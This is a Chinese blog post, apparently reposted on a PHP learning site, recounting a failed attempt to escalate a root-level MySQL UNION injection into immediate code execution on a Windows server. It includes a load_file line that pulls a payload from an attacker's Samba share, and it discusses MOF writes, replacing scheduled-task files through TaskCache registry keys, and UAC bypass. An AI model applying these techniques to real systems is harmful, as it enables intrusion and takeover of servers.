网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

一次失败的”写权限变立即执行”尝试 - 网站安

来源:自学PHP网    时间:2015-04-15 14:59 作者: 阅读:

[导读] Ps:觉得很有必要记录下这次探索的过程,你有更好的想法不妨提示我场景:web 外网,apache,PHPdb 内网,mysql,win 6 1 x64一个GET的UNION Select MySQLi,是Root权限,你会怎么玩?0times;01 challeng...

Ps:觉得很有必要记录下这次探索的过程,你有更好的想法不妨提示我…
场景:
web — 外网,apache,PHP
db — 内网,mysql,win 6.1 x64
一个GET的UNION Select MySQLi,是Root权限,你会怎么玩?
0×01 challenge I
多语句执行执行问题,从很早起,包括defcon的文档 defcon-17-muhaimin_dzulfakar-adv_mysql-wp.pdf 介绍的高级注入技巧,在非stacked query支持下,都是围绕union select来展开的,而union select又基本绕着load_file和out_file来看齐.有的同学会说,PHP底层限制MySQL多语句执行是用来打破的(详见:http://zone.wooyun.org/index.php?do=view&id=50 ),但是很遗憾,这里压根没有用到PDO一类的.如果你有更牛x更猥琐的方式欢迎讨论~
0×02 challenge II
GET提交,根据RFC文档都知道URL是有长度限制的,想直接union select的方式来dump的话,不编码也很难控制.但是经过简单的思考,发现某些情况(为神马是某些情况,因为不能100%确认)其实是可以通过load_file远程文件来缩短URL限制的.
类似 select load_file(‘//blackhat/Public/something_evil.txt’),blackhat机器为Linux并配置了Samba开启简单共享.同一交换环境下测试,能很顺利的读出内容,但是放到公网去测试,则有可能超时,另外由于很早之前的冲击波导致大量ISP在上层设备实际上就已经把139,445干掉了,所以这招的成功率略低,但假如恰好你在C段提了个root的机器呢?
0×03 challenge III
写权限变立即执行的尝试
注意我这里强调的是“立即”,所以神马写启动项,或者DLL劫持一类的可以暂且不提.类似在低版本(=<5.1)的windows系统上kingcope大牛发过利用构造特殊脚本写入mof的方式来立即执行命令,但是在高版本中已经行不通了.有的同学可能会想到计划任务(以下称JOB的方式).在低版本的Windows是存在Job对应Reg中的映射关系的,任务会被放在c:\windows\tasks下,对应注册表的路径是,所以一般直接提交job文件是有问题的.而在新版本中,一开始我并没有在reg中搜到相关信息,并且配置文件改成了xml放到了c:\windows\system32\tasks这个新路径当中,想当然的以为直接往目录写新的配置就会加载运行了,实际上他会从[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\]取得一个CLSID,而这个CLSID对应着[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree]下的键值,既然不能通过新建配置来添加计划任务,那么我们替换同名配置文件呢.测试后发现确实可以进行文件的替换(高版本如果有UAC的话,先绕过UAC).但是计划任务管理器会优先从TaskCache中来读取对应的配置.所以此路不通了.
回过头来想,在庞大且漏洞百出的Windows系统中,一定会有很多安全为业务让步的地方(绕过UAC就是一个典型的例子),Kingcope大牛他是如何找到的呢?这样的系统特性是通过做大量的样本Fuzz出来的吗?还是尊崇一定的系统原则从功能上去回溯出来的呢?这样的例子,在身边的朋友中也有,比如WEB代码审计,别人的做法可能是先寻找入口点,然后跟踪数据流向来审计SQL注入一类,但是朋友所诉的思路却是大量的Fuzz功能区的输入点,然后直接从DB的日志中去检索异常,这不得不说效率提高了很多而且也精准到位.
俗话说厚积薄发,从今天的测试回过头来讲,实际上还是对某些特性不够了解,眼界开阔了才能走得更远!
更新下思路(感谢大牛们):
1.Fuzz某些会写入配置之类的立即执行的第三方程序
2.替换计划任务中的EXE(找规则最短的执行)
【本文中如有神马错误,请指出,不甚感激】

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论